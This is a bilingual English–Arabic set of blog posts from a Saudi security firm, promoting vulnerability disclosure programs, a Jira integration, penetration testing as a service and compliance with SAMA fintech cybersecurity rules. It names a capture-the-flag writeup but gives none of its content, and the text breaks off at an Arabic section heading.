Empowering-partners-with-streamlined-task-management-through-Jira-integration

In a mission to empowering our partners to be more efficient and productive, we announced the integration with Jira..

في مهمة تهدف إلى تمكين شركائنا ليكونوا أكثر كفاءة وإنتاجية، نعلن عن الربط مع جيرا..

Empowering partners with streamlined task management through Jira integration

تمكين شركائنا من إدارة المهام بكل سلاسة عن طريق الربط مع جيرا

FitnessZone-Challenge

The FitnessZone challenge involved exploiting vulnerabilities in a web application to escalate user privileges and gain unauthorized access.

تضمن تحدي FitnessZone استغلال الثغرات في تطبيق ويب لتصعيد امتيازات المستخدم والحصول على وصول غير مصرح به.

FitnessZone Challenge Writeup

حل تحدي FitnessZone

&nbsp;

In today&#39;s interconnected digital landscape, the constant evolution of technology brings with it an array of security challenges. With cyber threats becoming increasingly sophisticated, organizations are realizing the critical importance of collaboration and transparency with the cybersecurity community to protect their digital assets effectively. for this reason, Vulnerability Disclosure Programs (VDPs) are emerging. Here&rsquo;s why you need one, and instructions on starting one or improving your current process.

&nbsp;

<h2>What Is a Vulnerability Disclosure Program?</h2>

A VDP is a structured method for anyone to report vulnerabilities easily. VDPs should include a process for receiving a vulnerability report, prioritizing and remediating vulnerabilities, and setting expectations for follow-ups, such as remediation.

&nbsp;

<h2>Why All Organizations Need a Vulnerability Disclosure Program?</h2>

VDPs provide a central place for third parties to report a vulnerability so security teams can quickly assess and remediate it. VDP&rsquo;s reduce the chances someone will publicly disclose a bug without the organization&rsquo;s knowledge. When someone who finds a vulnerability publicly discloses flaws t, they alert both customers and cybercriminals to the vulnerability. This practice harms the brand&rsquo;s image and exposes the company to unnecessary risk. Language within the VDP protects those who submit vulnerability reports from legal action, providing finders with a process to come forward and disclose found vulnerabilities. When a vulnerability is brought directly to organizations for remediation, staff can prioritize the bug, develop a patch, and notify finders on their terms. As a result of having a vulnerability intake process, companies are able to combat public vulnerability disclosures. Bringing vulnerabilities directly to an organization in a coordinated disclosure fashion is considered a best practice in accordance with many global mandates. Hackers can uncover vulnerabilities such as cross-site scripting and forgery, SQL injection attacks, and privilege escalation through a VDP. Discovering these flaws before bad actors do allows organizations to patch vulnerabilities before exploitation by cybercriminals.&nbsp;VDPs also provide increased visibility into the kind, number, and severity of vulnerabilities companies face. Understanding the attack surface and average remediation times allows organizations to improve their operational processes and approach cybersecurity proactively.&nbsp;VDPs can help organizations pass audits and provide proof of compliance through attestation reports.&nbsp;<a href="https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/archive/2015-01-22">The National Institute of Standards and Technology (NIST)</a>,&nbsp;in&nbsp;a 2020 update to their &ldquo;Security and Privacy Controls for Information Systems,&rdquo; outlined best practices for organizations looking to mitigate risk and positioned VDPs as a core component of every security strategy. Another standard published by&nbsp;<a href="https://www.iso.org/standard/45170.html">ISO 29147</a>&nbsp;provides requirements and recommendations to vendors on disclosing vulnerabilities in products and services.

&nbsp;

<h2>Vulnerability Disclosure Program Pillars :</h2>

Every successful VDP consists of at least five core components. Each plays a crucial role and protects the relationship between the finder and the business. Below are descriptions of the components and explanations of their importance.

<h3>Promise Statement :</h3>

The promise statement lets everyone know why an organization has a VDP. An organization&#39;s promise statement demonstrates to the public that they are proactive regarding vulnerabilities and take threats seriously. Through an opening statement, organizations show customers and investors the organization&#39;s level of dedication to ongoing cybersecurity&mdash;outside of educating researchers.

<h3>Scope :</h3>

Scope defines the indicated systems and products for security research. The scope&rsquo;s guidelines list domains and products suitable for testing while also restricting specific hacker testing areas. social engineering attempts are a few of the commonly restricted tests.

<h3>Safe Harbor :</h3>

Safe harbor fosters a secure and productive VDP by protecting those who disclose vulnerabilities from legal action. This section is essential to safeguard and encourage hackers to disclose bugs through an organization&#39;s official channel.&nbsp;Hackers who find a bug often avoid disclosing it because the risk of legal action is too significant or not understood. Without a detailed safe harbor section, hackers may avoid disclosing for fear of retribution. Trustline includes safe-harbor&nbsp;language by default for all new VDP launches.

<h3>Process Description :</h3>

The process description details the report submission and remediation process. Reports should include the vulnerability&rsquo;s severity, how attackers can exploit it, and how developers can reproduce the bug. This information helps security teams prioritize threats and quickly validate new disclosures. A thorough process description can dramatically reduce remediation time and minimize your exposure to attack through prioritization.&nbsp;Vulnerability disclosures may lack the details the remediation team needs to validate and patch the bug without a process description. Lacking a description can slow the patching process and leave systems exposed longer than necessary.

<h3>Preferences :</h3>

The preferences section sets expectations for how your organization will evaluate reports. Process workflow should include expected response times, whether the organization will publicly disclose bugs, and if the hacker will receive a confirmation upon repair.&nbsp;Communication is essential in building a solid relationship between hackers and organizations. Hackers want to know that organizations pay attention to their submissions and take them seriously. Otherwise, frustrated hackers may prematurely and publicly disclose vulnerabilities if they feel an organization isn&#39;t responsive or actively working on a known bug.&nbsp;The communication process also helps internal teams prioritize and patch bugs while setting time-based goals for response and remediation. Regardless of how long a bug takes to fix, transparent communication between organizations and hackers builds trust and confidence within the VDP.&nbsp;Organizations&rsquo; preferences help guide remediation and control how disclosure occurs. While many consider it best practice to disclose bugs, it is not mandatory to do so. Organizations working on sensitive projects may opt to push patches out and not disclose bugs publicly.

&nbsp;

<h2>How Trustline Can Help :</h2>

In the past, designing a VDP required a significant investment of both time and money. Organizations typically developed policies from scratch, built new communication channels, and marketed their platforms.

Trustline&nbsp;provides all the tools needed to launch a successful VDP from a single platform. Our out-of-the-box setup makes it easy to establish a compliant and policy-driven vulnerability disclosure workflow for continuous security.&nbsp;<a href="mailto:info@trustline.sa">Contact us&nbsp;</a>to start your VDP today.

&nbsp;

تخيل عالمنا بدون تطبيقات توصيل، ولا مواقع حجز تذاكر سفر أو حتى بدون هواتف ذكية وإنترنت. النتيجة هي عالم من الصعب العيش فيه. الثورة التقنية سهلت حياة البشرية في مختلف المجالات ابتداء التواصل الصوتي والمرئي وانتهاء بإدارة أموالك واستثماراتك بضغطة زر. لكن هنالك تحديات كبيرة مصاحبة للتطور التقني الذي نعيشه فالتهديدات الأمنية والاختراقات أصبحت أكثر انتشارا وتعقيدا. في هذه الحرب ضد الاختراقات أدركت المنشآت أهمية التعاون مع مجتمع الأمن السيبراني لحماية أصولهم الرقمية بفعالية، ومن أبرز طرق التعاون ما يسمى ببرامج الإفصاح عن الثغرات&nbsp;( Vulnerability Disclosure Program ). في هذه المدونة سنشرح ما هي هذه البرامج وأهميتها وما هي أفضل الإرشادات المتبعة في إنشائها.

&nbsp;

<h2 dir="rtl">ما هي برامج الإفصاح عن الثغرات؟</h2>

هي برامج توفر هيكلة و آليه عمل واضحة للأشخاص الذين يريدون التبليغ عن ثغرة أمنية تم إيجادها في أحد الأصول الرقمية التابعة لمنشاة ما. برامج الإفصاح عن الثغرات يجب أن تشمل على سياسة التبليغ عن الثغرات، وسيلة تواصل لمتابعة إغلاق الثغرة الأمنية. كما تحتوي هذه البرامج على بيان قانوني يحمي من قام بالتبليغ عن الثغرة من أي تبعات قانونية، وذلك مما يساهم في تحفيز مجتمع الأمن السيبراني للمبادرة في التبليغ عن الثغرات من خلال هذه البرامج.&nbsp;

&nbsp;

<h2 dir="rtl">أهمية برنامج كشف الثغرات وضرورة توفرها لدى جميع الجهات :</h2>

توفر برامج الإفصاح عن الثغرات قناة رسمية لأي شخص يريد الإبلاغ عن ثغرة بحيث يمكن لفريق الأمن السيبراني في المنشآت بمعالجتها وإصلاحها. فمن خلال آلية عملها، يتم التقليل من احتمالية قيام شخص كشف الثغرة الأمنية في وسائل التواصل الاجتماعي أو للعامة. في المقابل عدم توفر قناة رسمية للتبليغ عن الثغرات الأمنية قد يضر المنشاة، ويؤثر على سمعتها، ويضعها في خطر كبير كان من الممكن تجنبه حيث يتيح فرصة للمجرمين باستغلال الثغرة واستخدامها لمصالحهم السيئة. يضم برنامج الكشف عن الثغرات بيان قانوني يحمي الأشخاص الذين قامو بالإبلاغ عن ثغرات اكتشفوها مما يساهم في جعل مجتمع الأمن السيبراني أكثر ارتياحا ورغبتا في الإفصاح عن الثغرات التي وجدوها للشركة. وجود إليه لكشف الثغرات يساهم في حماية الشركات من انتشار ثغراتها الأمنية علنا.&nbsp;وجود آلية واضحة لإيصال الثغرات الأمنية إلى الجهات يعتبر من أفضل الممارسات في مجال الأمن السيبراني. كما أنها تساعد المنظمات بالالتزام بمعايير الأمن السيبراني العالمية مثل ( NIST ) و ( ISO 29147 ) والتي اعتبرت برامج الإفصاح عن الثغرات مكوناً أساسياً في كل استراتيجية أمنية، وحثت المنظمات التي تتطلع إلى تقليل الأخطار السيبرانية بالالتزام بذلك.&nbsp;إضافة إلى ذلك، تساهم هذه البرامج في زيادة الوعي لدى المنشأة من خلال معرفة عدد ونوع الثغرات المتواجدة في أصولها الرقمية. كما تساعد المنشأة على معرفة الأسباب الرئيسة لوجود هذه الثغرات ومعرفة متوسط الوقت لإصلاحها مما يساهم في بناء وتطوير أنظمة آمنة في المستقبل وتبني أفضل للمنهجيات والممارسات الاستباقية في الأمن السيبراني.

&nbsp;

<h2 dir="rtl">المكونات الأساسية في برامج الإفصاح عن الثغرات :</h2>

كل برنامج كشف ثغرات ناجح يجب أن يتكون من خمس مكونات أساسية على الأقل. كل منها يلعب دور مهم في حماية وإدارة العلاقة بين مكتشف الثغرة والمنشاة. فيما يلي وصف لهذه المكونات وأهميتها.

<h3 dir="rtl">بيان تعهد : </h3>

يبين بيان التعهد للجميع ما هدف المنشأة من امتلاك برنامج كشف للثغرات، ويوضح للجميع أن المنشأة تقوم بتبني حلول استباقية لحماية تطبيقاتها وتتعامل مع الأخطار السيبرانية بجدية. من خلال بيان التعهد توضح المنظمة لعملائها ومستثمريها أنها ملتزمة ومبادرة في حماية أصولها الرقمية.

<h3 dir="rtl">نطاق&nbsp;العمل :</h3>

نطاق العمل يوضح للباحثين الأمنيين ماهي الأنظمة والتطبيقات التي تندرج تحت البرنامج. يمثل قواعد إرشادية لتوضيح ما هي الأنظمة المسموح اختبارها وما هي أنواع الاختبارات المسموحة.

<h3 dir="rtl">الحصانة القانونية&nbsp;:</h3>

تعزز الحصانة القانونية من كون برامج الكشف عن الثغرات أكثر فعالية من خلال حماية الأشخاص الذين يريدون التبليغ عن ثغرة موجوده في أنظمة المنشاة. يعتبر هذا القسم من أكثر الأقسام أهمية حيث يشجع الهاكرز لتبليغ عن ثغرات موجودة في أنظمة الشركة من خلال قنوات التواصل المخصصة لذلك. في كثير من الأحيان يتجنب الهاكرز من التبليغ عن الثغرات لخطورة الأمر خوفا من أن يترتب على ذلك إجراءات قانونية ضدهم.

<h3 dir="rtl">شرح لآلية العمل :&nbsp;</h3>

آلية العمل توضح على نحو مفصل كيفية تسليم تقارير الثغرات. حيص يفضل أن تحتوي هذه التقارير على خطورة الثغرة، وماهي آلية اختراقها، وكيف للمبرمج إصلاحها. هذه المعلومات تساعد فريق الأمن السيبراني على ترتيب الأولويات والتحقق من وجود الثغرة بشكل أسرع. وجود آلية عمل واضحة ومتكاملة يقلل من فترة إصلاح الثغرة ( Remediation Time ) مما يساهم في جعل المنظمة أكثر أمانا وتقليل احتمالية استغلال الثغرة من قبل المجرمين السيبرانيين.

<h3 dir="rtl">التفضيلات :</h3>

يوضح هذا القسم التوقعات في كيفية آلية عمل المنشاة في مراجعة الثغرات. على سبيل المثال ما هي الفترة المتوقعة للرد ، هل سوف يتم الإفصاح عن الثغرة للعامة ،وهل سوف يتم تحديث من قام بالتبليغ بأنه تم إصلاح الثغرة. التواصل له أهمية عالية فهو الأساس في بناء علاقة بين المنشاة و مجتمع الأمن السيبراني. يهتم الهاكرز في معرفة ما إذا كانت المنظمة يأخذون حماية أصولهم بجدية وأنها تستقبل التقارير المرسلة إليهم بطريقة احترافية.لأنه في حال انتفاء ذلك قد يتم كشف الثغر للعامة من قبل هاكر أحبط من طريقة تعامل المنشاة وعدم تفاعلها.&nbsp;

&nbsp;

<h2 dir="rtl">كيف ترست لاين تساعدك :</h2>

إنشاء برنامج متكامل للإفصاح عن الثغرات يتطلب استثماراً في المال والوقت والجهد. فالأمر يتطلب بناء سياسات دقيقة ومتابعة مستمرة بالإضافة لتطوير حل تقني لذلك.&nbsp;من خلال ترست لاين في دي بي ( Trustline VDP ) ، نمكّن المنشآت من بناء برنامجهم الخاص المطابق للمعايير العالمية ونساعدهم في إدارتها ومتابعتها من خلال منصة متكاملة مخصصة لذلك.&nbsp;ساهم في حماية منشأتك و&nbsp;<a href="mailto:info@trustline.sa">تواصل معنا</a> لبناء برنامجك الخاص للإفصاح عن الثغرات.

Introduction-to-PTaaS

Pentests are an integral part of security. At the most basic level, they are required for compliance or validation ..

يعتبر اختبار الاختراق أحد المكونات الأساسية في حماية الأنظمة التقنية

Stay Ahead of Cyber Security Regulations with PenTest as a Service

امتثل لتشريعات الأمن السيبراني مع اختبار الاختراق كخدمة

Trustline is excited to announce the integration of Jira, a powerful project management and issue tracking tool, into its&nbsp;platform. This integration brings added value and benefits to our valued partners, empowering them in their cybersecurity efforts.

&nbsp;

The integration with Jira offers the following advantages:

1. Efficient Issue Tracking: Jira&#39;s robust issue tracking capabilities enable partners to manage vulnerabilities, bugs, and findings seamlessly. Partners can easily create, prioritize, and track issues within Jira, gaining complete visibility into their security posture and progress.

2. Automated Workflows: Our Jira integration automates various cybersecurity workflows, eliminating manual processes and reducing potential errors. This integration ensures that vulnerability findings, remediation tasks, and security-related updates are synchronized between Trustline&#39;s products and partners&#39; Jira instances, streamlining the resolution of security issues.

3. Centralized Documentation: Jira serves as a centralized repository for all cybersecurity-related documentation, including vulnerability reports, remediation plans, and progress updates. Partners can easily access and reference this information, promoting transparency and accountability throughout the security assessment process.

4. Seamless Task Management: With Jira integration, partners can efficiently manage and track tasks related to vulnerability remediation. They can assign tasks, set due dates, and monitor progress, ensuring timely resolution of security issues and reducing the risk of potential vulnerabilities.&nbsp;

&nbsp;

At Trustline, we are committed to providing our partners with the tools and capabilities they need to safeguard their digital assets. Our Jira integration strengthens this commitment by offering streamlined efficient issue tracking and automation. These capabilities empower our partners to bolster their security measures and achieve greater efficiency. To learn more about the specific benefits and how our Jira integration can support your organization, reach out to us today and follow us on social media&nbsp;<a href="http://twitter.com/TrustlineSec">Twitter</a>&nbsp;and&nbsp;<a href="http://www.linkedin.com/company/trustlinesec/">LinkedIn</a>&nbsp;to stay updated on our latest news.

يسعدنا أن نعلن عن إضافة جديدة إلى منصتنا وهي الربط مع &laquo;جيرا&raquo;، التي تعد أداة قوية لإدارة المشاريع وتتبع المشكلات. يساهم هذا الربط بإضافة قيمة لشركائنا في المنصة، وتمكين جهودهم في تعزيز أمنهم السيبراني.

يوفر الربط مع &laquo;جيرا&raquo; العديد من المزايا منها:

1.تتبع المشكلات بكفاءة: نمكّن شركائنا من تتبع المشكلات وإدارة الثغرات والأخطاء بسلاسة من خلال هذا الربط. حيث يمكن تحديد المشكلات والأولويات وتتبعها داخل &laquo;جيرا&raquo; بكل سهولة والحصول على رؤية كاملة لوضعهم وتقدمهم الأمني.

2.تمكين سير عمل آلي: يعمل الربط مع &laquo;جيرا&raquo; على أتمتة العديد من أعمال الأمن السيبراني، مما يؤدي إلى التخلص من العمليات اليدوية وتقليل الأخطاء المحتملة بالإضافة الى سلاسة الاستخدام. يضمن هذا الربط مزامنة نتائج الثغرات الأمنية والتحديثات المتعلقة بمعالجة الثغرات بين ترست لاين و &laquo;جيرا&raquo;.

3.توثيق مركزي: يعد الربط مع جيرا بمثابة مستودع مركزي لجميع الوثائق المتعلقة بالأمن السيبراني للمنشأة، بما في ذلك تقارير الثغرات الأمنية وخطط إصلاحها. يساهم هذا الربط في الوصول إلى هذه المعلومات بكل سهولة.

4.إدارة المهام بسلاسة: إدارة وتتبع المهام المتعلقة بمعالجة الثغرات الأمنية اصبح افضل الان. يوفر هذا الربط سهولة تعيين المهام ومراقبة التقدم، مما يساعد على حل المشكلات الأمنية في الوقت المناسب وتقليل المخاطر المحتملة.

&nbsp;

في ترست لاين، نلتزم بتزويد شركائنا بالأدوات والإمكانيات التي تدعمهم لحماية أصولهم الرقمية. تعمل هذه الميزه على تمكين شركائنا من تعزيز إجراءاتهم الأمنية وتحقيق قدر أكبر من الكفاءة. لمعرفة المزيد حول المزايا المحددة وكيف يمكن للربط مع &laquo;جيرا&raquo; أن يدعم منشأتك، تواصل معنا الآن وكن على اطلاع بآخر أخبارنا على منصات التواصل الإجتماعي&nbsp;<a href="https://twitter.com/TrustlineSec">تويتر</a> و<a href="https://www.linkedin.com/company/trustlinesec/">لينكد إن</a>.

Pentests are an integral part of security. At the most basic level, they are required for compliance or validation, and are an industry best practice that supports good, routine security hygiene. But there&rsquo;s a lot of room for improvement. In the past, penetration testing was a contract-based, complex effort that organizations could not carry out more than 1-2 times per year. PTaaS enables organizations to perform a penetration test daily, or even after each code change. PTaaS facilitates more frequent testing across all environments.

<h2>What is Penetration Testing as a Service ( PTaaS )?</h2>

Penetration Testing as a Service (PTaaS) is an agile security methodology where your system is tested and scanned continuously to check if there are any security loopholes. It offers more frequent and cost-effective access to penetration tests and a platform that facilitates collaborations between penetration testers and client organizations. Organizations leverage PTaaS to detect and remediate vulnerabilities regularly.

<h2>How it Works?</h2>

Trustline Pentest helps organizations build resistance to cyberattacks in two ways. First by delivering high-quality pentest engagements with meaningful findings. This is achieved by carefully curating elite teams of pentesters from a community of hundreds of ethical hackers.Our community of pentesters consistently find critical vulnerabilities that others miss.Second, efficient testing reduces friction in the pentesting lifecycle. This is achieved through our SaaS-delivered engagement management software and services which orchestrate engagements, expose findings in real-time, and provide communication channels with the pentesters. We can launch a test in as little as few days, compared to 3-4 weeks for traditional pentests.

<h2>Benefits of Penetration as a Service :</h2>

Trustline Pentest aligns with modern software development methodologies. It offers speed, can easily integrate with your internal processes, and provides more visibility into potential security gaps.

Diverse Pentester Community

Companies tend to switch pentest vendors in the hopes that pentesters from different firms will provide different results and maximize their coverage. But vender evaluations is difficult and can be hard to know exactly what you&rsquo;re getting from a pentesting firm until they have performed the test. Avoid these challenges by taking advantage of Trustline large and diverse community.

Pentest as a Service Platform

SaaS platform for efficient scoping, pentest set-up, and program orchestration with custom and self-service capabilities. In addition to comprehensive view of all pentest programs with progress across phases of the engagements.

Workflows and SDLC Integrations

Trustline pentests plug into the processes and applications you&rsquo;re already using, like Slack to eliminate delays and ensure devops can respond quickly for faster remediation. Incoming reports are complete and comprehensive to enable reproducible results, and any retesting is included.

Speed of Delivery

Your SDLC moves fast and you need your pentests to keep up. Trustline pentests can be launched in as little as days. You can see results in just weeks. A team is selected based on your requirements and they communicate and collaborate with you as they search for and find vulnerabilities. If vulnerabilities are discovered, you&rsquo;re immediately alerted instead of waiting until the final report.

Process Transparency and Easy Communication

Trustline pentests are open, transparent, and flexible, offering interactive and engaging communication throughout the testing process. This gives you the ability to help remove testing roadblocks, get instant feedback and updates, and monitor the overall process. This direct feedback loop with testers encourages more effective testing and returns more reliable, higher quality results.

<h2>How Trustline Can Help :</h2>

Trustline Pentest helps organizations go beyond the status quo of &ldquo;check the box&rdquo; penetration testing. Organizations using Trustline Pentest benefit from fast, high quality actionable security outcomes with on-demand pentest as a service capabilities. Pentest is even more effective at keeping businesses safe when combined with Bugbounty, and VDP to minimize risk and elevate security <a href="mailto:info@trustline.sa">contact us </a>to know more about Trustline PenTest.

&nbsp;

يعتبر اختبار الاختراق ( Penetration Testing ) أحد المكونات الأساسية في حماية الأنظمة التقنية ابتداء من كونه أحد المتطلبات لتحقيق الامتثال للتشريعات السيبرانية وانتهاء بكونه أحد أفضل الممارسات للتحقق من أمان التطبيقات بشكل دوري. ورغم أهميته إلا أنه ما زالت هناك تحديات ومعوقات تواجهها المنشآت عند عمل اختبار الاختراق مما زاد من تكلفته، وأثر بشكل سلبي على جودته. فعلى سبيل المثال لا الحصر، تمر رحلة اختبار الاختراق التقليدي في بإجراءات معقدة وطويلة تستنزف من الشركات الوقت والجهد الكبير.ونتيجة لهذه الإشكاليات التي يعاني منها اختبار الاختراق التقليدي فقد ظهرت آلية جديدة للاختبار تهدف لتحسين جودة الاختبار وتسهيل إجراءاته. تعرف هذه الطريقة الجديدة باختبار الاختراق كخدمة ( Penetration Testing as a Service ) وهي آلية تمكن المنشآت من عمل اختبار اختراق بشكل دوري (أسبوعي أو يومي) مشكلا نقلة نوعية في تجربة العميل.

&nbsp;

&nbsp;

ما المقصود باختبار الاختراق كخدمة ( PTaaS ) :&nbsp;

اختبار الاختراق كخدمة هي منهجية حماية مرنة ( Agile ) حيث يتم اختبار التطبيقات والأنظمة بشكل دائم ومستمر للتأكد من عدم تواجد أي ثغرات أمنية. يقدم هذا النموذج فعالية من حيث التكلفة و الوصول السهل لطلب خدمة اختبار اختراق بشكل متكرر وفي أي وقت من خلال منصة تسهل وتحوكم التعاون ما بين قطاع الأعمال وأفضل الخبراء الأمنيين ومختبري الاختراق ( Penetration Tester ) تحديدا.

&nbsp;

&nbsp;

ما هي آلية عملها؟

في ترست لاين ، نساهم في حماية المنشآت ومساعدتها في الامتثال للتشريعات السيبرانية من خلال منتج ترست لاين بن تست (Trustline Pentest) والذي تتبيّن قيمته المضافة في نقطتين. الأولى، من خلال عمل اختبار اختراق بجودة عالية ومخرجات ممتازة والذي يساهم في تحقيق ذلك أنه يتم اختيار خبير اختبار الاختراق من مئات الخبراء المتميزين من مجتمع ترست لاين. الثانية، من خلال فعالية الاختبار وإيصال النتائج بشكل فوري لإصلاحها بسرعة والذي يساهم في تحقيق ذلك هي منصة ترست لاين التي من خلالها يمكن إدارة واكتشاف الثغرات، وكذلك تنظيم العمليات السيبرانية والاطلاع على النتائج على نحو متزامن وتوفير طرق للتواصل مع مختبري الاختراق. في ترست لاين يمكنك بدء عملية اختبار اختراق خلال أيام فقط مقارنة ب أسابيع في اختبار الاختراق بشكل تقليدي.

&nbsp;

&nbsp;

مميزات اختبار الاختراق ترست لاين :

اختبار الاختراق كخدمة متوافق مع مناهج تطوير البرمجيات الحديثة ( SDLC ). حيث يوفر سهولة في الربط و التكيف مع طريقة عمل المنشاة، السرعة في تقديم الطلب و البدء في الاختبار الامني، توفير النتائج بشكل اولي وتقديم رؤية واضحه للاخطار و الثغرات الامنية.

&nbsp;

- امكانيات ومواهب متنوعه في مجتمع من مختبرين الاختراق المتميزين&nbsp;:

المنشات على نحو عام تميل الى التعاقد مع الشركات التقليدية التي توفر خدمة اختبار الاختراق لأمل ان فعل ذلك قد يؤدي الى فحص و&nbsp;نتائج افضل في كشف عن ثغرات جديدة. لكن من الصعب تقييم مقدمين الخدمات والتاكد من جودة عملهم. يمكن تجنب هذه المشاكل من خلال ترست لاين حيث يتم توفير الية عمل واضحه و العمل مع افضل مختبرين الاختراق في سوق العمل.

&nbsp;

- منصة&nbsp;متكامله لاختبار اختراق كخدمة :

نموذج البرمجيات كخدمة التي تتبناها منصة ترست لاين توفر كفائة عاليه في اطلاق و ادارة اختبار الاختراق لجميع الانظمة المراد اختبارها من خلال لوحة تحكم توضح جميع عملياتك السيبرانية بتفاصيلها.

&nbsp;

- سير عمل افضل&nbsp;،&nbsp;مكمل لدورة حياة تطوير البرمجيات ( SDLC ) :

ترست لاين بن تست ( Trustline Pentest ) يمكن ربطه بسهوله بطريقة عمل المنشاة و التطبيقات المتواجدة في بيئة عملها على سبيل المثال سلاك ( Slack ). يساعد ذلك في التجاوب بشكل افضل ومساعدة فريق التطوير و التشغيل لاصلاح الثغرات المكتشفة بسرعة. التقارير التي تسلم في من خلال اختبار الاختراق تكون شامله و واضحه بحيث يسهل لفريق التطوير فهم المشكلة وحلها.

&nbsp;

- انتاجية افضل :

&nbsp;تطوير البرمجيات هي عملية التسارع فيها عالي ويجب لاختبار الاختراق ان يصبح كذلك. ترست لاين بن تست ( Trustline Pentest ) يمكن اطلاقه في خلال ايام والبدا برؤية النتائج خلال ساعات من الاطلاق. اثناء اكتشاف ثغره امنيه من قبل احد مختبرين الاختراق يصل تنبيه بشكل فوري في لوحة التحكم ( Dashboard ) لاصلاحها بشكل عاجل.

&nbsp;

- الية عمل واضحه :

&nbsp;ترست لاين بن تست (&nbsp; Trustline Pentest ) تتميز بالية عمل واضحه و مرنه و توفر وسيلة تواصل مباشره مع مختبرين الاختراق اثناء قيامهم في الفحص و عمل الاختبار. يوفر ذلك ميزه للشركات اذ ارادو التوضيح او التفصيل في نقطة ما وعلاج المشكله بشكل اسرع.

&nbsp;

&nbsp;

كيف&nbsp;ترست لاين&nbsp;تساعدك :

ترست لاين بن تست ( Trustline Pentest ) يساعد المنظمات للارتقاء لمستوى افضل اثناء العمل على اختبار اختراق و فحص تطبيقاتهم. اختبار الاختراق يكون اكثر فعالية في حماية المنشات عند جمعه مع برامج مكافئة و الكشف عن الثغرات. اذا اردت الاستفادة من هذه المميزات&nbsp;<a href="mailto:info@trustline.sa">تواصل معنا</a> و تابعنا على وسائل التواصل الاجتماعي&nbsp;<a href="https://twitter.com/TrustlineSec">تويتر</a> ، <a href="https://www.linkedin.com/company/trustlinesec/">لينكد ان</a> ليصلك الجديد.&nbsp;

The fintech industry in Saudi Arabia is experiencing exponential growth, revolutionizing financial services through technology-driven innovations. However, alongside this growth comes an amplified risk of cyberattacks, necessitating robust cybersecurity measures. Recognizing this, the Saudi Arabian Monetary Authority (SAMA) has established comprehensive cybersecurity regulations to protect financial institutions, including fintech companies.

&nbsp;

<h2>Understanding the Criticality of Cybersecurity for Fintech Companies:</h2>

Fintech companies, operating in a digital landscape, handle vast amounts of sensitive customer data and conduct financial transactions online. Consequently, they become prime targets for cybercriminals seeking to exploit vulnerabilities and gain unauthorized access to valuable assets. A successful cyberattack not only imposes severe financial repercussions but also undermines customer trust and disrupts the stability of the entire financial system. Complying with SAMA regulations is paramount to mitigating these risks and fostering a secure fintech ecosystem.

&nbsp;

<h2>SAMA Cybersecurity Framework (Safeguarding Financial Institutions):</h2>

The SAMA Cybersecurity Framework provides a comprehensive set of guidelines that financial institutions, including fintech companies, must adhere to in order to fortify their cybersecurity defenses. This framework encompasses various essential components, namely risk assessment, vulnerability assessment, penetration testing, and incident response. By diligently following these guidelines, fintech companies can proactively identify vulnerabilities, implement necessary safeguards, and effectively respond to potential cyber threats.

&nbsp;

<h2>How Trustline Supports Fintech Companies:</h2>

Trustline is at the forefront of assisting fintech companies in Saudi Arabia like Tamara, Dawul, Sukuk and others in the industry with their cybersecurity needs. Here&#39;s how Trustline can help:

<ul>
	<li>Vulnerability Disclosure Program : Trustline supports fintech companies through its Vulnerability Disclosure Program (VDP). VDP provides clear guidelines for external third parties to report security vulnerabilities, ensuring efficient and collaborative identification and mitigation of potential risks.</li>
	<li>Penetration Testing as a Service : Trustline sets itself apart in the field of penetration testing with its distinctive approach. We prioritize quick engagement initiation, leveraging a diverse community of pentesters to ensure comprehensive assessments. Through direct communication, we enable real-time discussions, while our commitment to timely vulnerability management ensures prompt remediation.</li>
	<li>Bug Bounty Program : Trustline offers a unique bug bounty program that goes beyond traditional approaches. We specialize in establishing and managing bug bounty programs that incentivize ethical hackers to proactively discover and report vulnerabilities. By tapping into a diverse community of security researchers, Trustline enables fintech companies to continuously identify and address emerging threats.</li>
</ul>

&nbsp;

If you are a fintech company in Saudi Arabia and you are looking for a cybersecurity company that can help you protect your systems and data from cyberattacks, then Trustline Cybersecurity is your trusted partner.

Trustline is the first crowdsourced security platform in the region. Through community of hackers, networks and applications can be tested and protected using the latest strategies and techniques. If you would like to keep up on the latest news, follow us on social media&nbsp;<a href="http://twitter.com/TrustlineSec">Twitter</a>,&nbsp;<a href="http://www.linkedin.com/company/trustlinesec/">LinkedIn</a>&nbsp;and&nbsp;contact us&nbsp;today to explore our offerings.

شهدت التقنية المالية في المملكة العربية السعودية نموًا كبيرا، حيث تغيرت قواعد اللعبة في مجال الخدمات المالية من خلال الابتكارات المدعومة بالتقنية الحديثة. ومع ذلك، صاحب هذا النمو زيادة من مخاطر الهجمات السيبرانية، مما يتطلب اتخاذ إجراءات أمنية قوية. ونتيجة لذلك، فقد أنشأت مؤسسة النقد العربي السعودي&nbsp;(SAMA)&nbsp;تشريعات شاملة للأمن السيبراني لحماية المؤسسات المالية، بما في ذلك شركات التقنية المالية.

&nbsp;

<h2 dir="rtl">أهمية الأمن السيبراني لشركات التقنية المالية:</h2>

تتعامل شركات التقنية المالية، التي تعمل في بيئة رقمية، مع كميات هائلة من البيانات الحساسة للعملاء وتجري المعاملات المالية عبر الإنترنت. ونتيجة لذلك، أصبحت أهدافًا رئيسية للمجرمين السيبرانيين الذين يبحثون عن استغلال الثغرات الأمنية السيبرانية والحصول على وصول غير&nbsp;مصرّح إلى المعلومات. حيث لا يسبب الهجوم الإلكتروني الناجح عواقب مالية فقط، بل يشتت أيضًا ثقة العملاء ويعطل استقرار النظام المالي بأكمله. لهذا يعد الامتثال لأنظمة&nbsp;SAMA&nbsp;أمر بالغ الأهمية في الحد من هذه المخاطر وتعزيز أمان التقنية المالية.

&nbsp;

<h2 dir="rtl">تشريعات عمل&nbsp;SAMA&nbsp;للأمن السيبراني (حماية المؤسسات المالية):</h2>

توفر تشريعات عمل&nbsp;SAMA&nbsp;للأمن السيبراني مجموعة شاملة من الإرشادات التي يجب على المؤسسات المالية، بما في ذلك شركات التقنية المالية، الالتزام بها من أجل تعزيز أمنها السيبراني. يشمل هذا الإطار مُختلف المكونات الأساسية، مثل تقييم المخاطر، وتقييم الثغرات الأمنية، واختبار الاختراق. من خلال اتباع هذه الأنظمة بدقة، يمكن لشركات التقنية المالية تحديد الثغرات الأمنية بشكل مسبق، وتعزيز التدابير الأمنية اللازمة، والرد بشكل فعّال على التهديدات السيبرانية المحتملة.

&nbsp;

<h2 dir="rtl">كيف&nbsp;ترست لاين تدعم&nbsp;شركات التقنية المالية:</h2>

